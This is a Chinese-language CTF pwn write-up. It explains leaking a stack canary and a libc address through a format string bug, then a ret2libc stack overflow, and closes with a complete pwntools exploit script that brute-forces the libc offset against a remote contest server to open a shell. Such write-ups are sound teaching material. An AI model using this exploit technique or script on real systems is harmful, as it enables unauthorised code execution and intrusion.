0x01 前言
陕西网络空间安全技术大赛有三道pwn题只日出来一道,菜的抠脚 _ (:з」∠) _
0x02 格式化字符串
首先看了下防护机制,开了canary和got表无法修改
然后在IDA中可以看到一个相当明显的格式化字符串漏洞,前段时间在UESTC CTF正好学习了一波fsb的姿势
虽然got表无法修改,但是在栈空间中可以找到canary的值,以及__libc_start_main
于是就他们的值就可以分别构造format获取
format1 = '%7$x'
format2 = '%43$x'
本来应该是是有可以通过直接泄露出libc的基地址,或者打印出其他函数的地址什么的思路,但是小咸鱼并不会啊orz
接着往下看可以看到程序对输入的用户名进行了一步异或操作后与s2进行对比验证
已知了s2,在GDB里动态调试出了用户名为admin2017c
0x03 栈溢出
继续跟下去后发现一个栈溢出漏洞
然后又看了一下栈空间
可以覆盖eip,那么就可以构造payload了
payload = pading + canary+padding +system_addr + ret + /bin/sh_addr
写完EXP后本地能过远程过不了,然后发现我和队里的逆向狗的两边的 _ libc start_main的偏移不一样,我这里是247,他那边是246,于是想到是__ lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag

0x04 后记
一开始没有libc库的时候很懵逼,但是还是有大佬做出来了,估计我泄露的思路还是不对,还是要泄露其他几个函数的地址,然后去比对libc库什么的,pwn的姿势还是不够丰富,还有很多要学习的。
附上exp
from pwn import *
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11\nc")
for x in range(240,0xff):
try:
print x
p = remote('117.34.80.134',7777)
p.recvuntil("?\n")
p.sendline("%7$x")
p.recvuntil("!")
canary = int('0x'+p.recv(8),16)
p.recvuntil("?\n")
p.sendline("%43$x")
p.recvuntil("!")
libc_start_main_addr = int('0x'+p.recv(8),16)-x
plt = libc.symbols['__libc_start_main']
system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
p.recvuntil("?\n")
p.sendline("admin2017c")
p.recvuntil(".\n\n")
p.sendline('add')
p.recvuntil(": ")
p.sendline("20")
p.recvuntil(": ")
p.sendline("a")
p.recvuntil(": ")
payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
except:
p.close()
continue
|